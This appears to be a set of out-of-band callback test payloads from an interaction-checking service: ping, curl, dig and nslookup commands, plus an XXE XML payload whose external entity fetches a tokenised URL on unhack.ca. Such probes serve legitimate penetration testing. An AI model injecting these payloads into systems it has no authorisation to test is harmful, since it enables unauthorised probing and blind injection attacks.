$ ping -c1 -p 00c1f01a966d482dbe27a9849c680900 unhack.ca
$ curl http://unhack.ca/p/c1f01a966d482dbe27a9849c6809
$ dig c1f01a966d482dbe27a9849c6809 @unhack.ca
$ dig c1f01a966d482dbe27a9849c6809.ns.unhack.ca
C:\> nslookup c1f01a966d482dbe27a9849c6809 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/c1f01a966d482dbe27a9849c6809">]> <foo>&xxe;</foo>